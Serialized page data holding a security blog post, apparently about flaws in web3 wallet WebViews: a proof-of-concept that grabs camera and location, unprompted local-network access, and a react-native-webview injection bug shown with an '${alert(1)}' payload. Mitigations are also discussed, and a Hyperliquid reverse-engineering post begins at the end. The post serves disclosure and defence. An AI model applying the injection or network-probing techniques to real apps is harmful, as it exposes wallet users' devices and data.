stream",{"type":22,"tag":101,"props":161436,"children":161437},{"style":166},[161438],{"type":27,"value":231},{"type":22,"tag":101,"props":161440,"children":161441},{"style":926},[161442],{"type":27,"value":161443},"getTracks",{"type":22,"tag":101,"props":161445,"children":161446},{"style":166},[161447],{"type":27,"value":34165},{"type":22,"tag":101,"props":161449,"children":161450},{"style":926},[161451],{"type":27,"value":161452},"forEach",{"type":22,"tag":101,"props":161454,"children":161455},{"style":166},[161456],{"type":27,"value":980},{"type":22,"tag":101,"props":161458,"children":161459},{"style":126},[161460],{"type":27,"value":25717},{"type":22,"tag":101,"props":161462,"children":161463},{"style":108},[161464],{"type":27,"value":31751},{"type":22,"tag":101,"props":161466,"children":161467},{"style":126},[161468],{"type":27,"value":161469}," t",{"type":22,"tag":101,"props":161471,"children":161472},{"style":166},[161473],{"type":27,"value":231},{"type":22,"tag":101,"props":161475,"children":161476},{"style":926},[161477],{"type":27,"value":161478},"stop",{"type":22,"tag":101,"props":161480,"children":161481},{"style":166},[161482],{"type":27,"value":1980},{"type":22,"tag":101,"props":161484,"children":161485},{"class":103,"line":27631},[161486,161490,161494,161499,161503,161507,161511,161515],{"type":22,"tag":101,"props":161487,"children":161488},{"style":126},[161489],{"type":27,"value":161222},{"type":22,"tag":101,"props":161491,"children":161492},{"style":166},[161493],{"type":27,"value":231},{"type":22,"tag":101,"props":161495,"children":161496},{"style":926},[161497],{"type":27,"value":161498},"toBlob",{"type":22,"tag":101,"props":161500,"children":161501},{"style":166},[161502],{"type":27,"value":35519},{"type":22,"tag":101,"props":161504,"children":161505},{"style":126},[161506],{"type":27,"value":36944},{"type":22,"tag":101,"props":161508,"children":161509},{"style":166},[161510],{"type":27,"value":901},{"type":22,"tag":101,"props":161512,"children":161513},{"style":108},[161514],{"type":27,"value":18823},{"type":22,"tag":101,"props":161516,"children":161517},{"style":166},[161518],{"type":27,"value":154},{"type":22,"tag":101,"props":161520,"children":161521},{"class":103,"line":27639},[161522,161527,161531,161535,161539,161544,161548,161553,161557,161561],{"type":22,"tag":101,"props":161523,"children":161524},{"style":126},[161525],{"type":27,"value":161526}," pic",{"type":22,"tag":101,"props":161528,"children":161529},{"style":166},[161530],{"type":27,"value":231},{"type":22,"tag":101,"props":161532,"children":161533},{"style":126},[161534],{"type":27,"value":36666},{"type":22,"tag":101,"props":161536,"children":161537},{"style":166},[161538],{"type":27,"value":36907},{"type":22,"tag":101,"props":161540,"children":161541},{"style":126},[161542],{"type":27,"value":161543},"URL",{"type":22,"tag":101,"props":161545,"children":161546},{"style":166},[161547],{"type":27,"value":231},{"type":22,"tag":101,"props":161549,"children":161550},{"style":926},[161551],{"type":27,"value":161552},"createObjectURL",{"type":22,"tag":101,"props":161554,"children":161555},{"style":166},[161556],{"type":27,"value":980},{"type":22,"tag":101,"props":161558,"children":161559},{"style":126},[161560],{"type":27,"value":36944},{"type":22,"tag":101,"props":161562,"children":161563},{"style":166},[161564],{"type":27,"value":994},{"type":22,"tag":101,"props":161566,"children":161567},{"class":103,"line":27647},[161568],{"type":22,"tag":101,"props":161569,"children":161570},{"style":166},[161571],{"type":27,"value":161572}," });\n",{"type":22,"tag":101,"props":161574,"children":161575},{"class":103,"line":27656},[161576],{"type":22,"tag":101,"props":161577,"children":161578},{"emptyLinePlaceholder":15},[161579],{"type":27,"value":1581},{"type":22,"tag":101,"props":161581,"children":161582},{"class":103,"line":27732},[161583,161588,161592,161597,161601,161606,161610,161615,161619],{"type":22,"tag":101,"props":161584,"children":161585},{"style":126},[161586],{"type":27,"value":161587}," navigator",{"type":22,"tag":101,"props":161589,"children":161590},{"style":166},[161591],{"type":27,"value":231},{"type":22,"tag":101,"props":161593,"children":161594},{"style":126},[161595],{"type":27,"value":161596},"geolocation",{"type":22,"tag":101,"props":161598,"children":161599},{"style":166},[161600],{"type":27,"value":231},{"type":22,"tag":101,"props":161602,"children":161603},{"style":926},[161604],{"type":27,"value":161605},"getCurrentPosition",{"type":22,"tag":101,"props":161607,"children":161608},{"style":166},[161609],{"type":27,"value":980},{"type":22,"tag":101,"props":161611,"children":161612},{"style":126},[161613],{"type":27,"value":161614},"pos",{"type":22,"tag":101,"props":161616,"children":161617},{"style":108},[161618],{"type":27,"value":31751},{"type":22,"tag":101,"props":161620,"children":161621},{"style":166},[161622],{"type":27,"value":154},{"type":22,"tag":101,"props":161624,"children":161625},{"class":103,"line":27765},[161626,161631,161635,161639,161643,161647,161652],{"type":22,"tag":101,"props":161627,"children":161628},{"style":108},[161629],{"type":27,"value":161630}," const",{"type":22,"tag":101,"props":161632,"children":161633},{"style":126},[161634],{"type":27,"value":41441},{"type":22,"tag":101,"props":161636,"children":161637},{"style":166},[161638],{"type":27,"value":36907},{"type":22,"tag":101,"props":161640,"children":161641},{"style":126},[161642],{"type":27,"value":161614},{"type":22,"tag":101,"props":161644,"children":161645},{"style":166},[161646],{"type":27,"value":231},{"type":22,"tag":101,"props":161648,"children":161649},{"style":126},[161650],{"type":27,"value":161651},"coords",{"type":22,"tag":101,"props":161653,"children":161654},{"style":166},[161655],{"type":27,"value":1520},{"type":22,"tag":101,"props":161657,"children":161658},{"class":103,"line":27773},[161659,161664,161668,161672,161676,161681,161685,161689,161693,161698,161702,161707,161711,161715,161719,161723,161727,161732,161736,161740,161744,161749,161753,161757,161761,161765,161769,161773,161777],{"type":22,"tag":101,"props":161660,"children":161661},{"style":126},[161662],{"type":27,"value":161663}," gps",{"type":22,"tag":101,"props":161665,"children":161666},{"style":166},[161667],{"type":27,"value":231},{"type":22,"tag":101,"props":161669,"children":161670},{"style":126},[161671],{"type":27,"value":38960},{"type":22,"tag":101,"props":161673,"children":161674},{"style":166},[161675],{"type":27,"value":36907},{"type":22,"tag":101,"props":161677,"children":161678},{"style":6476},[161679],{"type":27,"value":161680},"`Lat: ",{"type":22,"tag":101,"props":161682,"children":161683},{"style":108},[161684],{"type":27,"value":38104},{"type":22,"tag":101,"props":161686,"children":161687},{"style":126},[161688],{"type":27,"value":7187},{"type":22,"tag":101,"props":161690,"children":161691},{"style":166},[161692],{"type":27,"value":231},{"type":22,"tag":101,"props":161694,"children":161695},{"style":126},[161696],{"type":27,"value":161697},"latitude",{"type":22,"tag":101,"props":161699,"children":161700},{"style":166},[161701],{"type":27,"value":231},{"type":22,"tag":101,"props":161703,"children":161704},{"style":926},[161705],{"type":27,"value":161706},"toFixed",{"type":22,"tag":101,"props":161708,"children":161709},{"style":166},[161710],{"type":27,"value":980},{"type":22,"tag":101,"props":161712,"children":161713},{"style":1544},[161714],{"type":27,"value":6813},{"type":22,"tag":101,"props":161716,"children":161717},{"style":166},[161718],{"type":27,"value":2261},{"type":22,"tag":101,"props":161720,"children":161721},{"style":108},[161722],{"type":27,"value":38136},{"type":22,"tag":101,"props":161724,"children":161725},{"style":52370},[161726],{"type":27,"value":52373},{"type":22,"tag":101,"props":161728,"children":161729},{"style":6476},[161730],{"type":27,"value":161731},"Lon: ",{"type":22,"tag":101,"props":161733,"children":161734},{"style":108},[161735],{"type":27,"value":38104},{"type":22,"tag":101,"props":161737,"children":161738},{"style":126},[161739],{"type":27,"value":7187},{"type":22,"tag":101,"props":161741,"children":161742},{"style":166},[161743],{"type":27,"value":231},{"type":22,"tag":101,"props":161745,"children":161746},{"style":126},[161747],{"type":27,"value":161748},"longitude",{"type":22,"tag":101,"props":161750,"children":161751},{"style":166},[161752],{"type":27,"value":231},{"type":22,"tag":101,"props":161754,"children":161755},{"style":926},[161756],{"type":27,"value":161706},{"type":22,"tag":101,"props":161758,"children":161759},{"style":166},[161760],{"type":27,"value":980},{"type":22,"tag":101,"props":161762,"children":161763},{"style":1544},[161764],{"type":27,"value":6813},{"type":22,"tag":101,"props":161766,"children":161767},{"style":166},[161768],{"type":27,"value":2261},{"type":22,"tag":101,"props":161770,"children":161771},{"style":108},[161772],{"type":27,"value":38136},{"type":22,"tag":101,"props":161774,"children":161775},{"style":6476},[161776],{"type":27,"value":14388},{"type":22,"tag":101,"props":161778,"children":161779},{"style":166},[161780],{"type":27,"value":1520},{"type":22,"tag":101,"props":161782,"children":161783},{"class":103,"line":27781},[161784,161789,161793,161797,161802,161806,161810],{"type":22,"tag":101,"props":161785,"children":161786},{"style":166},[161787],{"type":27,"value":161788}," }, ",{"type":22,"tag":101,"props":161790,"children":161791},{"style":126},[161792],{"type":27,"value":52417},{"type":22,"tag":101,"props":161794,"children":161795},{"style":108},[161796],{"type":27,"value":31751},{"type":22,"tag":101,"props":161798,"children":161799},{"style":926},[161800],{"type":27,"value":161801}," alert",{"type":22,"tag":101,"props":161803,"children":161804},{"style":166},[161805],{"type":27,"value":980},{"type":22,"tag":101,"props":161807,"children":161808},{"style":126},[161809],{"type":27,"value":52417},{"type":22,"tag":101,"props":161811,"children":161812},{"style":166},[161813],{"type":27,"value":3950},{"type":22,"tag":101,"props":161815,"children":161816},{"class":103,"line":27818},[161817],{"type":22,"tag":101,"props":161818,"children":161819},{"style":166},[161820],{"type":27,"value":52071},{"type":22,"tag":101,"props":161822,"children":161823},{"class":103,"line":27831},[161824],{"type":22,"tag":101,"props":161825,"children":161826},{"emptyLinePlaceholder":15},[161827],{"type":27,"value":1581},{"type":22,"tag":101,"props":161829,"children":161830},{"class":103,"line":27844},[161831],{"type":22,"tag":101,"props":161832,"children":161833},{"style":166},[161834],{"type":27,"value":2398},{"type":22,"tag":101,"props":161836,"children":161837},{"class":103,"line":27857},[161838,161843],{"type":22,"tag":101,"props":161839,"children":161840},{"style":926},[161841],{"type":27,"value":161842}," main",{"type":22,"tag":101,"props":161844,"children":161845},{"style":166},[161846],{"type":27,"value":934},{"type":22,"tag":101,"props":161848,"children":161849},{"class":103,"line":27911},[161850,161854,161858],{"type":22,"tag":101,"props":161851,"children":161852},{"style":36372},[161853],{"type":27,"value":36824},{"type":22,"tag":101,"props":161855,"children":161856},{"style":108},[161857],{"type":27,"value":36412},{"type":22,"tag":101,"props":161859,"children":161860},{"style":36372},[161861],{"type":27,"value":527},{"type":22,"tag":101,"props":161863,"children":161864},{"class":103,"line":27920},[161865,161869,161873],{"type":22,"tag":101,"props":161866,"children":161867},{"style":36372},[161868],{"type":27,"value":36426},{"type":22,"tag":101,"props":161870,"children":161871},{"style":108},[161872],{"type":27,"value":36396},{"type":22,"tag":101,"props":161874,"children":161875},{"style":36372},[161876],{"type":27,"value":527},{"type":22,"tag":101,"props":161878,"children":161879},{"class":103,"line":36277},[161880,161884,161888],{"type":22,"tag":101,"props":161881,"children":161882},{"style":36372},[161883],{"type":27,"value":36426},{"type":22,"tag":101,"props":161885,"children":161886},{"style":108},[161887],{"type":27,"value":36379},{"type":22,"tag":101,"props":161889,"children":161890},{"style":36372},[161891],{"type":27,"value":527},{"type":22,"tag":22883,"props":161893,"children":161894},{"id":8270},[161895],{"type":27,"value":8273},{"type":22,"tag":23,"props":161897,"children":161898},{},[161899],{"type":27,"value":161900},"Unfortunately, there's no simple solution for fixing this vulnerability, as most libraries don't offer an easy to enable feature flag. Each wallet should be mindful of the libraries they use and subsequently manually implement measures to mitigate this.",{"type":22,"tag":23,"props":161902,"children":161903},{},[161904,161906,161912],{"type":27,"value":161905},"A good baseline for patches like this is Metamask. Their patch for React Native WebView can be found ",{"type":22,"tag":80,"props":161907,"children":161910},{"href":161908,"rel":161909},"https://github.com/MetaMask/metamask-mobile/blob/53e205520cd571e84fbb443470a6e3654650bad4/.yarn/patches/%40metamask-react-native-webview-npm-14.5.0-b34fed6d50.patch#L13",[84],[161911],{"type":27,"value":51581},{"type":27,"value":231},{"type":22,"tag":35342,"props":161914,"children":161915},{"style":35344},[161916],{"type":22,"tag":7959,"props":161917,"children":161921},{"src":161918,"alt":161919,"style":161920},"/posts/insecure-webview-integrations/image2.png","Private Network Access desktop prompt","max-height:144px; width:auto; max-width:100%;",[],{"type":22,"tag":23,"props":161923,"children":161924},{},[161925],{"type":27,"value":161926},"However, even with this patch applied, the user experience is suboptimal. Since there's no cache mechanism for preserving the users' choice, various clickjacking scenarios can be instantiated for further tricking the user into a permission approval.",{"type":22,"tag":53,"props":161928,"children":161930},{"id":161929},"local-network-access",[161931],{"type":27,"value":161932},"Local Network Access",{"type":22,"tag":23,"props":161934,"children":161935},{},[161936,161938,161945,161947,161953],{"type":27,"value":161937},"Modern browsers like Chrome have introduced strict protections around access to a user's local network. When a webpage attempts to send requests to servers on the local network or any private IP range, Chrome will prompt the user for explicit permission before allowing the request to proceed. This is part of the ",{"type":22,"tag":80,"props":161939,"children":161942},{"href":161940,"rel":161941},"https://wicg.github.io/private-network-access/",[84],[161943],{"type":27,"value":161944},"Private Network Access",{"type":27,"value":161946}," specification, and the permission prompt is deliberately restricted to secure contexts (HTTPS) to prevent insecure pages from using local network access as a stepping stone to more serious attacks like remote code execution. There are numerous examples available online detailing the implications of these protections ",{"type":22,"tag":80,"props":161948,"children":161951},{"href":161949,"rel":161950},"https://x.com/taviso/status/2051310678800253318",[84],[161952],{"type":27,"value":161949},{"type":27,"value":161954},". Google's Chrome was one of the first browsers to implement this protection on their desktop application.",{"type":22,"tag":35342,"props":161956,"children":161957},{"style":35344},[161958],{"type":22,"tag":7959,"props":161959,"children":161962},{"src":161960,"alt":161919,"style":161961},"/posts/insecure-webview-integrations/image3.png","max-height:240px; width:auto; max-width:100%;",[],{"type":22,"tag":23,"props":161964,"children":161965},{},[161966],{"type":27,"value":161967},"WebViews, however, do not enforce this restriction. When a dApp is loaded inside a wallet's WebView, it can freely send requests to any host on the user's local network, including routers, NAS devices, smart home hubs, IP cameras, or any other IoT device without triggering any permission prompt whatsoever. The user has no visibility into this happening. See an example of this below.",{"type":22,"tag":161969,"props":161970,"children":161973},"zoom-image",{"src":161971,"alt":161972},"/posts/insecure-webview-integrations/image4.png","Private Network Access demo",[],{"type":22,"tag":23,"props":161975,"children":161976},{},[161977],{"type":27,"value":161978},"The consequences can increase the impact of certain issues. Local network devices are frequently unpatched, rely on default credentials, and expose administrative interfaces that were never designed to be reachable from an external webpage. An attacker-controlled dApp could:",{"type":22,"tag":6839,"props":161980,"children":161981},{},[161982,161987,161992],{"type":22,"tag":6832,"props":161983,"children":161984},{},[161985],{"type":27,"value":161986},"Exfiltrate device information from admin panels or unauthenticated API endpoints exposed by routers or IoT devices.",{"type":22,"tag":6832,"props":161988,"children":161989},{},[161990],{"type":27,"value":161991},"Perform authenticated actions against devices that rely on network-locality as their only access control (a common pattern in consumer IoT).",{"type":22,"tag":6832,"props":161993,"children":161994},{},[161995],{"type":27,"value":161996},"Exploit known CVEs in firmware by sending crafted requests to a device whose vulnerability is already public, potentially achieving remote code execution on that device.",{"type":22,"tag":23,"props":161998,"children":161999},{},[162000],{"type":27,"value":162001},"A user who has installed a reputable web3 wallet has no reason to suspect that browsing via a malicious dApp within that wallet could result in their home devices being probed.",{"type":22,"tag":53,"props":162003,"children":162005},{"id":162004},"uxss-by-code-injection",[162006],{"type":27,"value":162007},"UXSS by Code Injection",{"type":22,"tag":23,"props":162009,"children":162010},{},[162011,162013,162019],{"type":27,"value":162012},"Another sink we found in react-native-webview by just skimming through the code was how the ",{"type":22,"tag":30,"props":162014,"children":162016},{"className":162015},[],[162017],{"type":27,"value":162018},"injectJavascriptObject",{"type":27,"value":162020}," attribute worked. Here is the code snippet:",{"type":22,"tag":91,"props":162022,"children":162024},{"className":160260,"code":162023,"language":160262,"meta":7,"style":7}," private void injectJavascriptObject() {\n if (getSettings().getJavaScriptEnabled()) {\n String js = \"(function(){\\n\" +\n \" window.\" + JAVASCRIPT_INTERFACE + \" = window.\" + JAVASCRIPT_INTERFACE + \" || {};\\n\" +\n \" window.\" + JAVASCRIPT_INTERFACE + \".injectedObjectJson = function () { return \" + (injectedJavaScriptObject == null ? null : (\"`\" + injectedJavaScriptObject + \"`\")) + \"; };\\n\" +\n \"})();\";\n evaluateJavascriptWithFallback(js);\n }\n",[162025],{"type":22,"tag":30,"props":162026,"children":162027},{"__ignoreMap":7},[162028,162048,162077,162111,162166,162271,162283,162296],{"type":22,"tag":101,"props":162029,"children":162030},{"class":103,"line":104},[162031,162035,162039,162044],{"type":22,"tag":101,"props":162032,"children":162033},{"style":108},[162034],{"type":27,"value":74288},{"type":22,"tag":101,"props":162036,"children":162037},{"style":114},[162038],{"type":27,"value":55045},{"type":22,"tag":101,"props":162040,"children":162041},{"style":926},[162042],{"type":27,"value":162043}," injectJavascriptObject",{"type":22,"tag":101,"props":162045,"children":162046},{"style":120},[162047],{"type":27,"value":19734},{"type":22,"tag":101,"props":162049,"children":162050},{"class":103,"line":157},[162051,162055,162059,162064,162068,162073],{"type":22,"tag":101,"props":162052,"children":162053},{"style":3595},[162054],{"type":27,"value":43281},{"type":22,"tag":101,"props":162056,"children":162057},{"style":120},[162058],{"type":27,"value":3603},{"type":22,"tag":101,"props":162060,"children":162061},{"style":926},[162062],{"type":27,"value":162063},"getSettings",{"type":22,"tag":101,"props":162065,"children":162066},{"style":120},[162067],{"type":27,"value":34165},{"type":22,"tag":101,"props":162069,"children":162070},{"style":926},[162071],{"type":27,"value":162072},"getJavaScriptEnabled",{"type":22,"tag":101,"props":162074,"children":162075},{"style":120},[162076],{"type":27,"value":95528},{"type":22,"tag":101,"props":162078,"children":162079},{"class":103,"line":182},[162080,162085,162090,162094,162099,162103,162107],{"type":22,"tag":101,"props":162081,"children":162082},{"style":114},[162083],{"type":27,"value":162084}," String",{"type":22,"tag":101,"props":162086,"children":162087},{"style":126},[162088],{"type":27,"value":162089}," js",{"type":22,"tag":101,"props":162091,"children":162092},{"style":166},[162093],{"type":27,"value":960},{"type":22,"tag":101,"props":162095,"children":162096},{"style":6476},[162097],{"type":27,"value":162098}," \"(function(){",{"type":22,"tag":101,"props":162100,"children":162101},{"style":52370},[162102],{"type":27,"value":52373},{"type":22,"tag":101,"props":162104,"children":162105},{"style":6476},[162106],{"type":27,"value":24051},{"type":22,"tag":101,"props":162108,"children":162109},{"style":166},[162110],{"type":27,"value":13793},{"type":22,"tag":101,"props":162112,"children":162113},{"class":103,"line":367},[162114,162119,162123,162128,162132,162137,162141,162145,162149,162154,162158,162162],{"type":22,"tag":101,"props":162115,"children":162116},{"style":6476},[162117],{"type":27,"value":162118}," \" window.\"",{"type":22,"tag":101,"props":162120,"children":162121},{"style":166},[162122],{"type":27,"value":3643},{"type":22,"tag":101,"props":162124,"children":162125},{"style":120},[162126],{"type":27,"value":162127}," JAVASCRIPT_INTERFACE ",{"type":22,"tag":101,"props":162129,"children":162130},{"style":166},[162131],{"type":27,"value":8426},{"type":22,"tag":101,"props":162133,"children":162134},{"style":6476},[162135],{"type":27,"value":162136}," \" = window.\"",{"type":22,"tag":101,"props":162138,"children":162139},{"style":166},[162140],{"type":27,"value":3643},{"type":22,"tag":101,"props":162142,"children":162143},{"style":120},[162144],{"type":27,"value":162127},{"type":22,"tag":101,"props":162146,"children":162147},{"style":166},[162148],{"type":27,"value":8426},{"type":22,"tag":101,"props":162150,"children":162151},{"style":6476},[162152],{"type":27,"value":162153}," \" || {};",{"type":22,"tag":101,"props":162155,"children":162156},{"style":52370},[162157],{"type":27,"value":52373},{"type":22,"tag":101,"props":162159,"children":162160},{"style":6476},[162161],{"type":27,"value":24051},{"type":22,"tag":101,"props":162163,"children":162164},{"style":166},[162165],{"type":27,"value":13793},{"type":22,"tag":101,"props":162167,"children":162168},{"class":103,"line":398},[162169,162173,162177,162181,162185,162190,162194,162199,162203,162207,162211,162215,162219,162223,162228,162232,162237,162241,162246,162250,162254,162259,162263,162267],{"type":22,"tag":101,"props":162170,"children":162171},{"style":6476},[162172],{"type":27,"value":162118},{"type":22,"tag":101,"props":162174,"children":162175},{"style":166},[162176],{"type":27,"value":3643},{"type":22,"tag":101,"props":162178,"children":162179},{"style":120},[162180],{"type":27,"value":162127},{"type":22,"tag":101,"props":162182,"children":162183},{"style":166},[162184],{"type":27,"value":8426},{"type":22,"tag":101,"props":162186,"children":162187},{"style":6476},[162188],{"type":27,"value":162189}," \".injectedObjectJson = function () { return \"",{"type":22,"tag":101,"props":162191,"children":162192},{"style":166},[162193],{"type":27,"value":3643},{"type":22,"tag":101,"props":162195,"children":162196},{"style":120},[162197],{"type":27,"value":162198}," (injectedJavaScriptObject ",{"type":22,"tag":101,"props":162200,"children":162201},{"style":166},[162202],{"type":27,"value":4340},{"type":22,"tag":101,"props":162204,"children":162205},{"style":108},[162206],{"type":27,"value":73774},{"type":22,"tag":101,"props":162208,"children":162209},{"style":3595},[162210],{"type":27,"value":101548},{"type":22,"tag":101,"props":162212,"children":162213},{"style":108},[162214],{"type":27,"value":73774},{"type":22,"tag":101,"props":162216,"children":162217},{"style":3595},[162218],{"type":27,"value":39112},{"type":22,"tag":101,"props":162220,"children":162221},{"style":120},[162222],{"type":27,"value":3603},{"type":22,"tag":101,"props":162224,"children":162225},{"style":6476},[162226],{"type":27,"value":162227},"\"`\"",{"type":22,"tag":101,"props":162229,"children":162230},{"style":166},[162231],{"type":27,"value":3643},{"type":22,"tag":101,"props":162233,"children":162234},{"style":120},[162235],{"type":27,"value":162236}," injectedJavaScriptObject ",{"type":22,"tag":101,"props":162238,"children":162239},{"style":166},[162240],{"type":27,"value":8426},{"type":22,"tag":101,"props":162242,"children":162243},{"style":6476},[162244],{"type":27,"value":162245}," \"`\"",{"type":22,"tag":101,"props":162247,"children":162248},{"style":120},[162249],{"type":27,"value":12844},{"type":22,"tag":101,"props":162251,"children":162252},{"style":166},[162253],{"type":27,"value":8426},{"type":22,"tag":101,"props":162255,"children":162256},{"style":6476},[162257],{"type":27,"value":162258}," \"; };",{"type":22,"tag":101,"props":162260,"children":162261},{"style":52370},[162262],{"type":27,"value":52373},{"type":22,"tag":101,"props":162264,"children":162265},{"style":6476},[162266],{"type":27,"value":24051},{"type":22,"tag":101,"props":162268,"children":162269},{"style":166},[162270],{"type":27,"value":13793},{"type":22,"tag":101,"props":162272,"children":162273},{"class":103,"line":428},[162274,162279],{"type":22,"tag":101,"props":162275,"children":162276},{"style":6476},[162277],{"type":27,"value":162278}," \"})();\"",{"type":22,"tag":101,"props":162280,"children":162281},{"style":120},[162282],{"type":27,"value":1520},{"type":22,"tag":101,"props":162284,"children":162285},{"class":103,"line":997},[162286,162291],{"type":22,"tag":101,"props":162287,"children":162288},{"style":926},[162289],{"type":27,"value":162290}," evaluateJavascriptWithFallback",{"type":22,"tag":101,"props":162292,"children":162293},{"style":120},[162294],{"type":27,"value":162295},"(js);\n",{"type":22,"tag":101,"props":162297,"children":162298},{"class":103,"line":1032},[162299],{"type":22,"tag":101,"props":162300,"children":162301},{"style":120},[162302],{"type":27,"value":16668},{"type":22,"tag":23,"props":162304,"children":162305},{},[162306,162308,162314,162316,162321,162323,162329],{"type":27,"value":162307},"It basically injects a javascript code with the ",{"type":22,"tag":30,"props":162309,"children":162311},{"className":162310},[],[162312],{"type":27,"value":162313},"injectedJavascriptObject",{"type":27,"value":162315}," wrapped by backticks (`). If you are familiar with javascript, you can immediately see that this enables code injection if we partially control ",{"type":22,"tag":30,"props":162317,"children":162319},{"className":162318},[],[162320],{"type":27,"value":162313},{"type":27,"value":162322},". If we control a single attribute we can inject a payload like ",{"type":22,"tag":30,"props":162324,"children":162326},{"className":162325},[],[162327],{"type":27,"value":162328},"${alert(1)}",{"type":27,"value":162330}," and achieve XSS in the context of the loaded page.",{"type":22,"tag":23,"props":162332,"children":162333},{},[162334,162336,162343],{"type":27,"value":162335},"Then, when scrolling through the open PRs, we saw that there is one that fixes exactly this problem, though we were not the first ones to find it (that's ok, it is a pretty easy bug to find). Here is the ",{"type":22,"tag":80,"props":162337,"children":162340},{"href":162338,"rel":162339},"https://github.com/react-native-webview/react-native-webview/pull/3929/changes",[84],[162341],{"type":27,"value":162342},"PR with the report and fix",{"type":27,"value":231},{"type":22,"tag":23,"props":162345,"children":162346},{},[162347],{"type":27,"value":162348},"The vulnerability is still in the code since the PR has not been merged yet and, since the PR is public, everyone can see the bug. This is indeed the library's fault, but tells us that another thing to keep an eye on is unmerged PRs that fix vulnerabilities. Ideally, an open source library should have a security policy with a contact method so security researchers can report vulnerabilities without making them public. This is because once it is public, more people acknowledge the bug and it is more likely to be exploited in the wild.",{"type":22,"tag":23,"props":162350,"children":162351},{},[162352,162354,162360],{"type":27,"value":162353},"If you want to see if your application is vulnerable, you can simply check if you are injecting ",{"type":22,"tag":30,"props":162355,"children":162357},{"className":162356},[],[162358],{"type":27,"value":162359},"injectedJavaScriptObject",{"type":27,"value":162361}," with some user-provided input, if so, it is recommended to manually merge the PR and rebuild your application with the patched library.",{"type":22,"tag":1760,"props":162363,"children":162364},{"id":6776},[162365],{"type":27,"value":6779},{"type":22,"tag":23,"props":162367,"children":162368},{},[162369],{"type":27,"value":162370},"Most WebView articles focus on classic URL spoofing. In wallet apps, the more interesting problems usually come from capability inheritance: a WebView quietly benefits from permissions granted to the host app and small integration assumptions turn into serious impact.",{"type":22,"tag":6891,"props":162372,"children":162373},{},[162374],{"type":27,"value":6895},{"title":7,"searchDepth":157,"depth":157,"links":162376},[162377,162381,162384,162385],{"id":160100,"depth":157,"text":160103,"children":162378},[162379,162380],{"id":160111,"depth":182,"text":160114},{"id":160186,"depth":182,"text":160189},{"id":160219,"depth":157,"text":160222,"children":162382},[162383],{"id":160409,"depth":182,"text":160412},{"id":161929,"depth":157,"text":161932},{"id":162004,"depth":157,"text":162007,"children":162386},[162387],{"id":6776,"depth":182,"text":6779},"content:blog:2026-06-18-goldmine-of-insecure-webview-integrations.md","blog/2026-06-18-goldmine-of-insecure-webview-integrations.md","blog/2026-06-18-goldmine-of-insecure-webview-integrations",{"_path":162392,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":162393,"description":162394,"date":162395,"author":162396,"image":162397,"isFeatured":15,"onBlogPage":15,"tags":162401,"hideToc":15,"body":162405,"_type":6912,"_id":169044,"_source":6914,"_file":169045,"_stem":169046,"_extension":6917},"/blog/2026-06-22-hyperliquid-risk-engine","Auto reverse-engineering the Hyperliquid risk engine, with some agentic help","Perps allow traders to leverage beyond their collateral, until the market turns abruptly and losses are clawed back. We auto-reverse engineer Hyperliquid's risk engine to show how it ranks and deleverages winning users under the solvency–fairness–revenue trilemma.","2026-06-22T12:00:00.000Z","renato",{"src":162398,"width":162399,"height":162400},"/posts/hyperliquid-risk-engine/title.png",1456,816,[162402,162403,162404],"hyperliquid","reverse-engineering","defi",{"type":19,"children":162406,"toc":169016},[162407,162413,162421,162426,162431,162436,162448,162453,162466,162485,162491,162503,162516,162521,162552,162557,162570,162575,162766,162772,162777,162789,162795,162800,162806,162819,162853,162858,162863,162875,162881,162901,162909,162922,162928,162939,162945,162957,162962,162968,162988,162996,163002,163036,163040,163076,163081,163086,163091,163104,163141,163146,163160,163166,163171,163197,163205,163210,163238,163243,163248,163586,163591,163596,163616,163643,163648,163661,163673,163678,163683,163689,163694,163699,163713,163718,163724,163752,163789,163800,163804,163809,163814,163820,163986,164021,164026,164032,164038,164227,164240,164245,164251,164272,164277,164283,164288,164293,164305,164310,164315,164321,164326,164331,164337,164343,164356,164389,164394,166970,167238,167243,168573,168578,168583,168595,168686,168698,168703,168709,168714,168722,168727,168735,168741,168775,168786,168794,168800,168806,168811,168819,168824,168829,168837,168849,168855,168860,168866,168877,168882,168888,168893,168898,168904,168909,168912,168917,168922,168928,168933,168945,168950,168955],{"type":22,"tag":53,"props":162408,"children":162410},{"id":162409},"perpetuals",[162411],{"type":27,"value":162412},"Perpetuals",{"type":22,"tag":604,"props":162414,"children":162415},{},[162416],{"type":22,"tag":23,"props":162417,"children":162418},{},[162419],{"type":27,"value":162420},"A perpetual is a bet on a price, usually leveraged, settled in stablecoins, with no expiry: a row in the exchange's ledger, backed by margin (a fraction of the position's notional), where one side's gains are the other side's losses on the same book.",{"type":22,"tag":23,"props":162422,"children":162423},{},[162424],{"type":27,"value":162425},"What does that even have to do with reverse engineering?",{"type":22,"tag":53,"props":162427,"children":162428},{"id":162402},[162429],{"type":27,"value":162430},"Hyperliquid",{"type":22,"tag":23,"props":162432,"children":162433},{},[162434],{"type":27,"value":162435},"Hyperliquid is a decentralized perpetuals exchange. It runs on its own\nL1, released publicly for anybody to run, but closed source.\nThe order book and the risk engine live on-chain, and thus inside of the L1 node binary, sitting between users and the shared\nbalance sheet they're all betting against.",{"type":22,"tag":23,"props":162437,"children":162438},{},[162439,162441,162446],{"type":27,"value":162440},"The node is tasked with a ",{"type":22,"tag":6961,"props":162442,"children":162443},{},[162444],{"type":27,"value":162445},"very hard problem",{"type":27,"value":162447},": keeping the books balanced\nwhen leverage makes it possible for one side of every trade to lose more than their margin covers.",{"type":22,"tag":23,"props":162449,"children":162450},{},[162451],{"type":27,"value":162452},"Implementing a correct algorithm that solves this question is exactly what keeps the exchange solvent: this is also why peering into the actual implementation is very intriguing from a security standpoint.",{"type":22,"tag":23,"props":162454,"children":162455},{},[162456,162458,162464],{"type":27,"value":162457},"Beyond that, the ",{"type":22,"tag":30,"props":162459,"children":162461},{"className":162460},[],[162462],{"type":27,"value":162463},"hl-node",{"type":27,"value":162465}," binary also offers an additional technical thrill: it is written in Rust, which is notoriously hard to reverse engineer.",{"type":22,"tag":23,"props":162467,"children":162468},{},[162469,162471,162476,162478,162483],{"type":27,"value":162470},"Armed with some curiosity, a good amount of ",{"type":22,"tag":6961,"props":162472,"children":162473},{},[162474],{"type":27,"value":162475},"inference",{"type":27,"value":162477},", and the right tooling, we'll take a deep dive using an ",{"type":22,"tag":6961,"props":162479,"children":162480},{},[162481],{"type":27,"value":162482},"interactive interface",{"type":27,"value":162484},", which will hopefully make the reconstructed code easier to understand for anybody, while also giving reverse engineers something to learn and a fun tool to play around 